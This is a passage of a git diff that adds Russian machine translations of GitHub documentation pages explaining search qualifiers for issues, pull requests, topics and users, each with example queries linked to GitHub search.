repo:libgit2/libgit2**](https://github.com/search?utf8=%E2%9C%93&q=assignee%3Avmg+repo%3Alibgit2%2Flibgit2&type=Issues) соответствует проблемам и запросам на вытягивание в проекте libgit2 в libgit2, которые назначены @vmg. + +## Поиск по упоминаниям + +Квалификатор `mentions` позволяет находить проблемы, в которых упоминается определенный пользователь. Дополнительные сведения см. в разделе [Упоминание людей и команд](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams). + +| Квалификатор | Пример +| ------------- | ------------- +| mentions:USERNAME | [ **`resque mentions:defunkt`**](https://github.com/search?q=resque+mentions%3Adefunkt&type=Issues) соответствует проблемам со словом "resque", в которых упоминается @defunkt. + +## Поиск по упоминаемым командам + +Для организаций и команд, к которым вы принадлежите, вы можете использовать квалификатор `team`, чтобы найти проблемы или запросы на вытягивание, в которых упоминается (@mention) определенная команда в этой организации. Замените эти примеры имен на названия вашей организации и команды, чтобы выполнить поиск. + +| Квалификатор | Пример +| ------------- | ------------- +| team:ORGNAME/TEAMNAME | **`team:jekyll/owners`** соответствует проблемам, в которых упоминается команда `@jekyll/owners`. +| | **team:myorg/ops is:open is:pr** соответствует открытым запросам на вытягивание, в которых упоминается команда `@myorg/ops`. + +## Поиск по комментатору + +Квалификатор `commenter` позволяет находить проблемы, содержащие комментарий определенного пользователя. + +| Квалификатор | Пример +| ------------- | ------------- +| commenter:USERNAME | [**github commenter:defunkt org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Adefunkt+org%3Agithub&type=Issues) соответствует проблемам в репозиториях, принадлежащих GitHub, которые содержат слово "github", и имеют комментарий от @defunkt. + +## Поиск по пользователю, вовлеченному в проблему или запрос на вытягивание + +Квалификатор `involves` можно использовать для поиска проблем, которые каким-либо образом связаны с определенным пользователем. Квалификатор `involves` является логическим ИЛИ между квалификаторами `author`, `assignee`, `mentions` и `commenter` для одного пользователя. Другими словами, этот квалификатор находит проблемы и запросы на вытягивание, которые либо созданы определенным пользователем, либо назначены этому пользователю, либо упоминают его, либо имеют от него комментарий. + +| Квалификатор | Пример +| ------------- | ------------- +| involves:USERNAME | **[involves:defunkt involves:jlord](https://github.com/search?q=involves%3Adefunkt+involves%3Ajlord&type=Issues)** соответствует проблемам, в которые вовлечен пользователь @defunkt или @jlord. +| | [**NOT bootstrap in:body involves:mdo**](https://github.com/search?q=NOT+bootstrap+in%3Abody+involves%3Amdo&type=Issues) соответствует проблемам, в которые вовлечен @mdo, и в тексте которых нет слова "bootstrap". + +## Поиск связанных проблем и запросов на вытягивание +Вы можете сузить результаты, включив в них только проблемы, связанные с запросом на вытягивание с помощью закрывающей ссылки, или запросы на вытягивание, связанные с проблемой, которую запрос на вытягивание может закрыть. + +| Квалификатор | Пример | +| ------------- | ------------- | +| `linked:pr` | [**repo:desktop/desktop is:open linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+linked%3Apr) соответствует открытым проблемам в репозитории `desktop/desktop`, которые связаны с запросом на вытягивание с помощью закрывающей ссылки. | +| `linked:issue` | [**repo:desktop/desktop is:closed linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aclosed+linked%3Aissue) соответствует закрытым запросам на вытягивание в репозитории `desktop/desktop`, связанным с проблемой, которую этот запрос на вытягивание может закрыть. | +| `-linked:pr` | [**repo:desktop/desktop is:open -linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Apr) соответствует открытым проблемам в репозитории `desktop/desktop`, которые не связаны с запросом на вытягивание с помощью закрывающей ссылки. | +| `-linked:issue` | [**repo:desktop/desktop is:open -linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Aissue) соответствует открытым запросам на вытягивание в репозитории `desktop/desktop`, не связанным с проблемой, которую этот запрос на вытягивание может закрыть. | + +## Поиск по метке + +Вы можете сужать результаты по меткам, используя квалификатор `label`. Так как проблемы могут иметь несколько меток, можно включать в список отдельный квалификатор для каждой проблемы. + +| Квалификатор | Пример +| ------------- | ------------- +| label:LABEL | [**label:"help wanted" language:ruby**](https://github.com/search?utf8=%E2%9C%93&q=label%3A%22help+wanted%22+language%3Aruby&type=Issues) соответствует проблемам с меткой "help wanted", которые находятся в репозиториях Ruby. +| | [**broken in:body -label:bug label:priority**](https://github.com/search?q=broken+in%3Abody+-label%3Abug+label%3Apriority&type=Issues) соответствует проблемам со словом "broken" в тексте, у которых нет метки "bug", но *есть* метка "priority". +| | [**label:bug label:resolved**](https://github.com/search?l=&q=label%3Abug+label%3Aresolved&type=Issues) соответствует проблемам с метками "ошибка" и "разрешено". +| | [**label:bug, устранены**](https://github.com/search?q=label%3Abug%2Cresolved&type=Issues) проблемы с меткой "ошибка" или меткой "разрешено". + +## Поиск по вехе + +Квалификатор `milestone` позволяет находить проблемы или запросы на вытягивание, которые являются частью [вехи](/articles/about-milestones) в репозитории. + +| Квалификатор | Пример +| ------------- | ------------- +| milestone:MILESTONE | [**milestone:"overhaul"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22overhaul%22&type=Issues) соответствует проблемам, которые находятся в вехе с именем "overhaul". +| | [**milestone:"bug fix"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22bug+fix%22&type=Issues) соответствует проблемам, которые находятся в вехе с именем "bug fix". + +## Поиск по доске проекта + +Квалификатор `project` можно использовать для поиска проблем, связанных с определенной [доской проекта](/articles/about-project-boards/) в репозитории или организации. Искать доски проекта необходимо по номеру доски проекта. Номер доски проекта можно найти в конце URL-адреса доски проекта. + +| Квалификатор | Пример +| ------------- | ------------- +| project:PROJECT_BOARD | **project:github/57** соответствует проблемам, принадлежащим GitHub, которые связаны с доской проекта 57 в организации. +| project:REPOSITORY/PROJECT_BOARD | **project:github/linguist/1** соответствует проблемам, связанным с доской проекта 1 в лингвистическом репозитории @github. + +## Поиск по состоянию фиксации + +Запросы на вытягивание можно фильтровать по состоянию фиксации. Это особенно удобно, если вы используете [API состояния](/rest/reference/commits#commit-statuses) или службу CI. + +| Квалификатор | Пример +| ------------- | ------------- +| `status:pending` | [**language:go status:pending**](https://github.com/search?utf8=%E2%9C%93&q=language%3Ago+status%3Apending) соответствует запросам на вытягивание, открытым в репозиториях Go и находящимся в состоянии ожидания. +| `status:success` | [**is:open status:success finally in:body**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aopen+status%3Asuccess+finally+in%3Abody&type=Issues) соответствует открытым запросам на вытягивание со словом "finally" в тексте, которые находятся в состоянии успеха. +| `status:failure` | [**created:2015-05-01..2015-05-30 status:failure**](https://github.com/search?utf8=%E2%9C%93&q=created%3A2015-05-01..2015-05-30+status%3Afailure&type=Issues) соответствует запросам на вытягивание, открытым в мае 2015 г., которые находятся в состоянии сбоя. + +## Поиск по SHA фиксации + +Если вы знаете конкретный хэш SHA фиксации, его можно использовать для поиска запросов на вытягивание, содержащих этот SHA. Синтаксис требует, чтобы SHA имел не менее семи символов. + +| Квалификатор | Пример +| ------------- | ------------- +| SHA | [**e1109ab**](https://github.com/search?q=e1109ab&type=Issues) соответствует запросам на вытягивание со SHA фиксации, который начинается с `e1109ab`. +| | [**0eff326d6213c is:merged**](https://github.com/search?q=0eff326d+is%3Amerged&type=Issues) соответствует объединенным запросам на вытягивание со SHA фиксации, который начинается с `0eff326d6213c`. + +## Поиск по имени ветви + +Вы можете фильтровать запросы на вытягивание по ветви, из которой они поступили ("головной" ветви), или по ветви, в которую они объединяются ("базовой" ветви). + +| Квалификатор | Пример +| ------------- | ------------- +| head:HEAD_BRANCH | [**head:change is:closed is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=head%3Achange+is%3Aclosed+is%3Aunmerged) соответствует закрытым запросам на вытягивание, открытым из ветвей, имена которых начинаются со слова "change". +| base:BASE_BRANCH | [**base:gh-pages**](https://github.com/search?utf8=%E2%9C%93&q=base%3Agh-pages) соответствует запросам на вытягивание, которые объединяются в ветвь `gh-pages`. + +## Поиск по языку + +С помощью квалификатора `language` можно искать проблемы и запросы на вытягивание в репозиториях, написанных на определенном языке. + +| Квалификатор | Пример +| ------------- | ------------- +| language:LANGUAGE | [**language:ruby state:open**](https://github.com/search?q=language%3Aruby+state%3Aopen&type=Issues) соответствует открытым проблемам, находящимся в репозиториях Ruby. + +## Поиск по количеству комментариев + +Для поиска по количеству комментариев вы можете использовать квалификатор `comments` вместе с [квалификаторами "больше чем", "меньше чем" и квалификаторами диапазона](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). + +| Квалификатор | Пример +| ------------- | ------------- +| comments:n | [**state:closed comments:>100**](https://github.com/search?q=state%3Aclosed+comments%3A%3E100&type=Issues) соответствует закрытым проблемам с более чем 100 комментариями. +| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Issues) соответствует проблемам с количеством комментариев от 500 до 1000. + +## Поиск по количеству взаимодействий + +Вы можете фильтровать проблемы и запросы на вытягивание по количеству взаимодействий с помощью квалификатора `interactions` вместе с [квалификаторами "больше чем", "меньше чем" и квалификаторами диапазона](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). Количество взаимодействий — это количество реакций и комментариев по проблеме или запросу на вытягивание. + +| Квалификатор | Пример +| ------------- | ------------- +| interactions:n | [** interactions:>2000**](https://github.com/search?q=interactions%3A%3E2000) соответствует запросам на вытягивание или проблемам, имеющим более 2000 взаимодействий. +| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) соответствует запросам на вытягивание или проблемам с количеством взаимодействий от 500 до 1000. + +## Поиск по количеству реакций + +Вы можете фильтровать проблемы и запросы на вытягивание по количеству реакций с помощью квалификатора `reactions` вместе с [квалификаторами "больше чем", "меньше чем" и квалификаторами диапазона](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). + +| Квалификатор | Пример +| ------------- | ------------- +| reactions:n | [** reactions:>1000**](https://github.com/search?q=reactions%3A%3E1000&type=Issues) соответствует проблемам с количеством реакций более 1000. +| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) соответствует проблемам с количеством реакций от 500 до 1000. + +## Поиск черновиков запросов на вытягивание +Вы можете фильтровать по черновикам запросов на вытягивание. Дополнительные сведения см. в разделе [Сведения о запросах на вытягивание](/articles/about-pull-requests#draft-pull-requests). + +| Квалификатор | Пример +| ------------- | ------------- +| `draft:true` | [**draft:true**](https://github.com/search?q=draft%3Atrue) соответствует черновикам запросов на вытягивание. +| `draft:false` | [**draft:false**](https://github.com/search?q=draft%3Afalse) соответствует запросам на вытягивание, которые готовы к проверке. + +## Поиск по состоянию проверки и рецензенту запроса на вытягивание + +Вы можете фильтровать запросы на вытягивание на основе их [состояния проверки](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) (_нет_, _требуется_, _утверждено_ или _запрос на изменение_), рецензента и запрошенного рецензента. + +| Квалификатор | Пример +| ------------- | ------------- +| `review:none` | [**type:pr review:none**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Anone&type=Issues) соответствует запросам на вытягивание, которые не были проверены. +| `review:required` | [**type:pr review:required**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Arequired&type=Issues) соответствует запросам на вытягивание, которым требуется проверка перед объединением. +| `review:approved` | [**type:pr review:approved**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Aapproved&type=Issues) соответствует запросам на вытягивание, утвержденным рецензентом. +| `review:changes_requested` | [**type:pr review:changes_requested**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Achanges_requested&type=Issues) соответствует запросам на вытягивание, рецензент которых запросил изменения. +| reviewed-by:USERNAME | [**type:pr reviewed-by:gjtorikian**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+reviewed-by%3Agjtorikian&type=Issues) соответствует запросам на вытягивание, проверенным конкретным лицом. +| review-requested:USERNAME | [**type:pr review-requested:benbalter**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review-requested%3Abenbalter&type=Issues) соответствует запросам на вытягивание, в которых запрошена проверка указанным лицом. После того как запрошенные рецензенты проверят запрос на вытягивание, они перестают отображаться в результатах поиска. Если запрошенный пользователь находится в команде, запрашиваемой для проверки, в результатах поиска также будут отображаться запросы для этой команды. +| user-review-requested:@me | [**type:pr user-review-requested:@me**](https://github.com/search?q=is%3Apr+user-review-requested%3A%40me+) соответствует запросам на вытягивание, которые вам было предложено просмотреть напрямую. +| team-review-requested:TEAMNAME | [**type:pr team-review-requested:github/docs соответствует запросам**](https://github.com/search?q=type%3Apr+team-review-requested%3Agithub%2Fdocs&type=pullrequests) на вытягивание, которые имеют запросы на проверку от команды `github/docs`. После того как запрошенные рецензенты проверят запрос на вытягивание, они перестают отображаться в результатах поиска. + +## Поиск по моменту создания или последнего обновления проблемы или запроса на вытягивание + +Вы можете фильтровать проблемы в зависимости от времени создания или времени последнего обновления. Для фильтрации по времени создания проблемы можно использовать квалификатор `created`; чтобы узнать, когда проблема была в последний раз обновлена, можно использовать квалификатор `updated`. + +Оба квалификатора принимают дату в качестве параметра. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} + +{% data reusables.search.date_gt_lt %} + +| Квалификатор | Пример +| ------------- | ------------- +| created:YYYY-MM-DD | [**language:c# created:<2011-01-01 state:open**](https://github.com/search?q=language%3Ac%23+created%3A%3C2011-01-01+state%3Aopen&type=Issues) соответствует открытым проблемам, созданным до 2011 г. в репозиториях, написанных на C#. +| updated:YYYY-MM-DD | [**weird in:body updated:>=2013-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2013-02-01&type=Issues) соответствует проблемам со словом "weird" в тексте, которые были обновлены после февраля 2013 г. + +## Поиск по моменту закрытия проблемы или запроса на вытягивание + +Вы можете фильтровать проблемы и запросы на вытягивание по времени их закрытия, используя квалификатор `closed`. + +Этот квалификатор принимает дату в качестве параметра. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} + +{% data reusables.search.date_gt_lt %} + +| Квалификатор | Пример +| ------------- | ------------- +| closed:YYYY-MM-DD | [**language:swift closed:>2014-06-11**](https://github.com/search?q=language%3Aswift+closed%3A%3E2014-06-11&type=Issues) соответствует проблемам и запросам на вытягивание в Swift, закрытым после 11 июня 2014 г. +| | [**data in:body closed:<2012-10-01**](https://github.com/search?utf8=%E2%9C%93&q=data+in%3Abody+closed%3A%3C2012-10-01+&type=Issues) соответствует проблемам и запросам на вытягивание со словом "data" в тексте, которые были закрыты до октября 2012 г. + +## Поиск по моменту объединения запроса на вытягивание + +Вы можете фильтровать проблемы и запросы на вытягивание по времени их объединения, используя квалификатор `merged`. + +Этот квалификатор принимает дату в качестве параметра. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} + +{% data reusables.search.date_gt_lt %} + +| Квалификатор | Пример +| ------------- | ------------- +| merged:YYYY-MM-DD | [ **`language:javascript merged:<2011-01-01`**](https://github.com/search?q=language%3Ajavascript+merged%3A%3C2011-01-01+&type=Issues) соответствует запросам на вытягивание в репозиториях JavaScript, которые были объединены до 2011 г. +| | [**fast in:title language:ruby merged:>=2014-05-01**](https://github.com/search?q=fast+in%3Atitle+language%3Aruby+merged%3A%3E%3D2014-05-01+&type=Issues) соответствует запросам на вытягивание в Ruby со словом "fast" в заголовке, которые были объединены после мая 2014 г. + +## Поиск в зависимости от того, объединен или не объединен запрос на вытягивание + +Запросы на вытягивание можно фильтровать в зависимости от того, объединены они или нет, с помощью квалификатора `is`. + +| Квалификатор | Пример +| ------------- | ------------- +| `is:merged` | [**bug is:pr is:merged**](https://github.com/search?utf8=%E2%9C%93&q=bugfix+is%3Apr+is%3Amerged&type=) соответствует объединенным запросам на вытягивание со словом "bug". +| `is:unmerged` | [**error is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=error+is%3Aunmerged&type=) соответствует запросам на вытягивание со словом "ошибка", которые открыты или были закрыты без слияния. + +## Поиск в зависимости от того, является ли репозиторий архивным + +С помощью квалификатора `archived` можно фильтровать результаты в зависимости от того, находится ли запрос на вытягивание в архивном репозитории. + +| Квалификатор | Пример +| ------------- | ------------- +| `archived:true` | [**archived:true GNOME**](https://github.com/search?q=archived%3Atrue+GNOME&type=) соответствует проблемам и запросам на вытягивание, содержащим слово "GNOME" и находящимся в архивных репозиториях, к которым у вас есть доступ. +| `archived:false` | [**archived:false GNOME**](https://github.com/search?q=archived%3Afalse+GNOME&type=) соответствует проблемам и запросам на вытягивание, содержащим слово "GNOME" и находящимся не в архивных репозиториях, к которым у вас есть доступ. + +## Поиск в зависимости от того, заблокирована ли беседа + +Вы можете искать проблему или запрос на вытягивание, в котором есть заблокированная беседа, с помощью квалификатора `is`. Дополнительные сведения см. в разделе [Блокировка бесед](/communities/moderating-comments-and-conversations/locking-conversations). + +| Квалификатор | Пример +| ------------- | ------------- +| `is:locked` | [**code of conduct is:locked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Alocked+is%3Aissue+archived%3Afalse) соответствует проблемам или запросам на вытягивание со словами "code of conduct", которые имеют заблокированную беседу и находятся не в архивном репозитории. +| `is:unlocked` | [**code of conduct is:unlocked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Aunlocked+archived%3Afalse) соответствует проблемам или запросам на вытягивание со словами "code of conduct", которые имеют разблокированную беседу и находятся не в архивном репозитории. + +## Поиск по отсутствующим метаданным + +С помощью квалификатора `no` можно сузить поиск до проблем и запросов на вытягивание, в которых отсутствуют определенные метаданные. Это могут быть следующие метаданные: + +* Метки +* Вехи +* Уполномоченные +* Проекты + +| Квалификатор | Пример +| ------------- | ------------- +| `no:label` | [**priority no:label**](https://github.com/search?q=priority+no%3Alabel&type=Issues) соответствует проблемам и запросам на вытягивание с словом "priority", в которых нет никаких меток. +| `no:milestone` | [**sprint no:milestone type:issue**](https://github.com/search?q=sprint+no%3Amilestone+type%3Aissue&type=Issues) соответствует проблемам, не связанным с вехой, содержащей слово "sprint". +| `no:assignee` | [**important no:assignee language:java type:issue**](https://github.com/search?q=important+no%3Aassignee+language%3Ajava+type%3Aissue&type=Issues) соответствует проблемам, не связанным с уполномоченным, содержащим слово "important" и находящимся в репозиториях Java. +| `no:project` | [**build no:project**](https://github.com/search?utf8=%E2%9C%93&q=build+no%3Aproject&type=Issues) соответствует проблемам, не связанным с доской проекта и содержащим слово "build". + +## Дополнительные материалы + +- [Сортировка результатов поиска](/search-github/getting-started-with-searching-on-github/sorting-search-results/) diff --git a/translations/ru-RU/content/search-github/searching-on-github/searching-topics.md b/translations/ru-RU/content/search-github/searching-on-github/searching-topics.md new file mode 100644 index 000000000000..a89e2ce9502c --- /dev/null +++ b/translations/ru-RU/content/search-github/searching-on-github/searching-topics.md @@ -0,0 +1,60 @@ +--- +title: Поиск тем +intro: 'Вы можете выполнять поиск тем, относящихся к репозиториям в {% data variables.product.product_name %}.' +redirect_from: + - /articles/searching-topics + - /github/searching-for-information-on-github/searching-topics + - /github/searching-for-information-on-github/searching-on-github/searching-topics +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub search +ms.openlocfilehash: b409f8476fe4191bab22ba90e502f18470937f4d +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145118859' +--- +## Поиск тем в {% data variables.product.product_name %} + +Вы можете искать темы в {% data variables.product.product_name %}, изучать связанные темы и просматривать, сколько репозиториев связано с определенной темой. + +1. Перейдите к https://github.com/search. +2. Введите ключевое слово "тема". + ![Поле поиска](/assets/images/help/search/search-field.png) +3. На левой боковой панели, чтобы сузить область поиска до тем, выберите **Topics** (Темы). +{% ifversion fpt or ghec %} ![Страница результатов поиска в репозитории Jekyll с выделенным параметром тем бокового меню](/assets/images/help/search/topic-left-side-navigation-dotcom.png){% else %} ![Страница результатов поиска репозитория Jekyll в dotcom с выделенным параметром тем бокового меню](/assets/images/help/search/topic-left-side-navigation.png) {% endif %} + +## Сужение поиска с помощью квалификаторов поиска + +Если вы хотите изучить репозитории по определенной теме, найти проекты для участия или узнать, какие темы наиболее популярны в {% data variables.product.product_name %}, можно искать темы с помощью следующих квалификаторов поиска: `is:featured`, `is:curated`, `repositories:n` и `created:YYYY-MM-DD`. + +Квалификатор поиска `is:featured` сузит результаты поиска до тем с наибольшими репозиториями в {% data variables.product.product_name %}. Эти темы также являются рекомендуемыми на странице https://github.com/topics/. + +Квалификатор поиска `is:curated` сужает результаты поиска до тем, в которые участники сообщества добавили дополнительную информацию. Дополнительные сведения см. в [репозитории explore](https://github.com/github/explore). + +Темы можно фильтровать по времени их создания с помощью параметра даты и `created:` или по количеству репозиториев, связанных с этой темой, используя `repositories:n`. Оба этих [квалификатора могут использовать квалификаторы диапазона: "больше" и "меньше"](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). + +{% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} + +{% data reusables.search.date_gt_lt %} + +| Квалификатор | Пример | +| ------------- | ------------- +| `is:curated`| [**is:curated javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+is%3Acurated&type=Topics) соответствует темам, которые курируются и содержат слово javascript. +| `is:featured` | [**is:featured javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+is%3Afeatured&type=Topics) соответствует темам, которые являются рекомендуемыми на странице https://github.com/topics/ и содержат слово javascript. +| `is:not-curated` | [**is:not-curated javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+is%3Anot-curated&type=Topics) соответствует темам, которые не содержат дополнительной информации, такой как описание или логотип, а содержат слово javascript. +| `is:not-featured`| [**is:not-featured javascript**](https://github.com/search?utf8=%E2%9C%93&q=javascript+is%3Anot-featured&type=Topics) соответствует темам, которые не являются рекомендуемыми на странице https://github.com/topics/ и содержат слово javascript. +| `repositories:n` | [**repositories:>5000**](https://github.com/search?q=repositories%3A%3E5000) соответствует темам, у которых больше чем 5000 репозиториев. +| created:YYYY-MM-DD | [**Бессерверный created:>2019-01-01**](https://github.com/search?q=Serverless+created%3A%3E2019-01-01&type=Topics) соответствует темам со словом "Бессерверный", созданным после 2018 г. + +## Поиск репозиториев по темам + +Квалификатор `topic:` можно использовать для поиска каждого репозитория, связанного с определенной темой. Дополнительные сведения см. в статье "[Поиск репозиториев](/search-github/searching-on-github/searching-for-repositories/#search-by-topic)". + +## Дополнительные материалы +- [Классификация репозитория с помощью тем](/articles/classifying-your-repository-with-topics) diff --git a/translations/ru-RU/content/search-github/searching-on-github/searching-users.md b/translations/ru-RU/content/search-github/searching-on-github/searching-users.md new file mode 100644 index 000000000000..03b348332017 --- /dev/null +++ b/translations/ru-RU/content/search-github/searching-on-github/searching-users.md @@ -0,0 +1,112 @@ +--- +title: Поиск пользователей +intro: 'Можно выполнять поиск пользователей в {% data variables.product.product_name %} и использовать квалификаторы поиска пользователей в любом сочетании, чтобы уточнить результаты.' +redirect_from: + - /articles/searching-users + - /github/searching-for-information-on-github/searching-users + - /github/searching-for-information-on-github/searching-on-github/searching-users +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub search +ms.openlocfilehash: cf3af1837e398226bee7d926e5dae0fd437879c7 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145139489' +--- +Вы можете выполнять поиск пользователей глобально по всей среде {% data variables.product.product_name %}. Дополнительные сведения см. в разделе [Сведения о поиске в {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github). + +{% data reusables.search.syntax_tips %} + +## Поиск только пользователей или организаций + +По умолчанию поиск пользователей возвращает как личные, так и организационные учетные записи. Однако вы можете использовать квалификатор `type`, чтобы ограничить результаты поиска только личными учетными записями или учетными записями организаций. + +| Квалификатор | Пример +| ------------- | ------------- +| `type:user` | [**mike in:name created:<2011-01-01 type:user**](https://github.com/search?q=mike+in:name+created%3A%3C2011-01-01+type%3Auser&type=Users) соответствует личным учетным записям с именем "mike", созданным до 2011  г. +| `type:org` | [**data in:email type:org**](https://github.com/search?q=data+in%3Aemail+type%3Aorg&type=Users) соответствует организациям с словом "data" в их адресе электронной почты. + +## Поиск по имени учетной записи, полному имени или общедоступному адресу электронной почты + +Вы можете фильтровать поиск по имени личной или организационной учетной записи с помощью квалификаторов `user` или `org`. + +Квалификатор `in` позволяет ограничивать поиск по имени пользователя (`login`), полному имени, общедоступному адресу электронной почты или по любому сочетанию этих элементов. Если этот квалификатор не указан, выполняется поиск только имени пользователя и адреса электронной почты. По соображениям конфиденциальности вы не можете выполнять поиск по имени домена электронной почты. + +| Квалификатор | Пример +| ------------- | ------------- +| `user:name` | [**user:octocat**](https://github.com/search?q=user%3Aoctocat&type=Users) соответствует пользователю с именем пользователя octocat. +| `org:name` | [**org:electron type:users**](https://github.com/search?q=org%3Aelectron+type%3Ausers&type=Users) соответствует имени учетной записи организации Electron. +| `in:login` | [**kenya in:login**](https://github.com/search?q=kenya+in%3Alogin&type=Users) соответствует пользователям, в имени пользователя которых есть слово "kenya". +| `in:name` | [**bolton in:name**](https://github.com/search?q=bolton+in%3Afullname&type=Users) соответствует пользователям, чье физическое имя содержит слово "bolton". +| `fullname:firstname lastname` | [**fullname:nat friedman**](https://github.com/search?q=fullname%3Anat+friedman&type=Users) соответствует пользователю с полным именем "Nat Friedman". Примечание. Этот квалификатор поиска учитывает пробелы. +| `in:email` | [**data in:email**](https://github.com/search?q=data+in%3Aemail&type=Users&utf8=%E2%9C%93) соответствует пользователям, в адресе электронной почты которых есть слово "data". + +## Поиск по количеству репозиториев, принадлежащих пользователю + +Вы можете фильтровать пользователей по количеству принадлежащих им репозиториев, используя квалификатор `repos` и [квалификаторы диапазона, а также "больше" и "меньше"](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). + +| Квалификатор | Пример +| ------------- | ------------- +| repos:n | [**repos:>9000**](https://github.com/search?q=repos%3A%3E%3D9000&type=Users) соответствует пользователям, количество репозиториев которых превышает 9000. +| | [**bert repos:10..30**](https://github.com/search?q=bert+repos%3A10..30&type=Users) соответствует пользователям со словом "bert" в имени пользователя или физическом имени, которые имеют от 10 до 30 репозиториев. + +## Поиск по расположению + +Вы можете искать пользователей по расположению, указанному в их профиле. + +| Квалификатор | Пример +| ------------- | ------------- +| location:LOCATION | [**repos:1 location:iceland**](https://github.com/search?q=repos%3A1+location%3Aiceland&type=Users) соответствует пользователям с ровно одним репозиторием, которые живут в Исландии. + +## Поиск по языку репозитория + +С помощью квалификатора `language` можно искать пользователей на основе языков принадлежащих им репозиториев. + +| Квалификатор | Пример +| ------------- | ------------- +| language:LANGUAGE | [**language:javascript location:russia**](https://github.com/search?q=language%3Ajavascript+location%3Arussia&type=Users) соответствует пользователям в России, большинство репозиториев которых написано на JavaScript. +| | [**jenny language:javascript in:fullname**](https://github.com/search?q=jenny+language%3Ajavascript+in%3Afullname&type=Users) соответствует пользователям с репозиториями на JavaScript, полное имя которых содержит слово "jenny". + +## Поиск по времени создания личной учетной записи + +Вы можете фильтровать пользователей по времени их присоединения к {% data variables.product.product_name %} с помощью квалификатора `created`. Он принимает дату в качестве параметра. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} + +{% data reusables.search.date_gt_lt %} + +| Квалификатор | Пример +| ------------- | ------------- +| created:YYYY-MM-DD | [**created:<2011-01-01**](https://github.com/search?q=created%3A%3C2011-01-01&type=Users) соответствует пользователям, присоединившимся до 2011 г. +| | [**created:>=2013-05-11**](https://github.com/search?q=created%3A%3E%3D2013-05-11&type=Users) соответствует пользователям, присоединившимся с 11 мая 2013 г. +| | [**created:2013-03-06 location:london**](https://github.com/search?q=created%3A2013-03-06+location%3Alondon&type=Users) соответствует пользователям, которые присоединились 6 марта 2013 года и указали Лондон в качества своего расположения. +| | [**created:2010-01-01..2011-01-01 john in:login**](https://github.com/search?q=created%3A2010-01-01..2011-01-01+john+in%3Ausername&type=Users) соответствует пользователям, присоединившимся между 2010 и 2011 годами, в имени пользователя которых есть слово "john". + +## Поиск по количеству подписчиков + +Вы можете фильтровать пользователей по количеству их подписчиков, используя квалификатор `followers` с [квалификаторами диапазона, а также "больше" и "меньше"](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). + +| Квалификатор | Пример +| ------------- | ------------- +| followers:n | [**followers:>=1000**](https://github.com/search?q=followers%3A%3E%3D1000&type=Users) соответствует пользователям, имеющим 1000 или более подписчиков. +| | [**sparkle followers:1..10**](https://github.com/search?q=sparkle+followers%3A1..10&type=Users) соответствует пользователям, имеющим от 1 до 10 подписчиков, в именах которых присутствует слово "sparkle". + +{% ifversion fpt or ghec %} + +## Поиск по возможности спонсирования + +Вы можете искать пользователей и организации, которых можно спонсировать, в {% data variables.product.prodname_sponsors %} с помощью квалификатора `is:sponsorable`. Дополнительные сведения см. в разделе [Сведения о {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors). + +| Квалификатор | Пример +| ------------- | ------------- +| `is:sponsorable` | Запросу [**is:sponsorable**](https://github.com/search?q=is%3Asponsorable&type=Users) соответствуют пользователи и организации, имеющие профиль {% data variables.product.prodname_sponsors %}. + +{% endif %} + +## Дополнительные материалы + +- [Сортировка результатов поиска](/search-github/getting-started-with-searching-on-github/sorting-search-results/) diff --git a/translations/ru-RU/content/search-github/searching-on-github/searching-wikis.md b/translations/ru-RU/content/search-github/searching-on-github/searching-wikis.md new file mode 100644 index 000000000000..ffe75dc4c5b2 --- /dev/null +++ b/translations/ru-RU/content/search-github/searching-on-github/searching-wikis.md @@ -0,0 +1,57 